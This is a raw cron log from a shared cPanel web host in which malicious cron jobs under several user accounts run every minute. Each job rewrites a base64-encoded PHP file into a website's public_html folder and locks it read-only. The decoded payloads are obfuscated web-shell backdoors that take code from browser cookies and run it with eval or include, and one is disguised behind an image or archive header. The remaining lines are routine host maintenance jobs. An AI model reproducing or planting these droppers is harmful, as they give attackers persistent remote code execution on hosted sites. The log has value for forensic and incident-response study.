Mar  2 08:57:01 medusa CROND[27364]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:57:01 medusa CROND[27368]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:57:01 medusa CROND[27365]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:57:01 medusa CROND[27373]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:57:01 medusa CROND[27382]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:58:01 medusa CROND[12378]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:58:01 medusa CROND[12380]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:58:01 medusa CROND[12381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:58:01 medusa CROND[12382]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 08:58:01 medusa CROND[12387]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:58:01 medusa CROND[12392]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:58:01 medusa CROND[12393]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:58:01 medusa CROND[12390]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:58:01 medusa CROND[12395]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:58:01 medusa CROND[12388]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:58:01 medusa CROND[12389]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:58:01 medusa CROND[12398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:58:01 medusa CROND[12406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:58:01 medusa CROND[12412]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:59:01 medusa CROND[2645]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:59:01 medusa CROND[2720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:59:01 medusa CROND[2721]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:59:01 medusa CROND[2722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:59:01 medusa CROND[2726]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:59:01 medusa CROND[2729]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:59:01 medusa CROND[2730]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
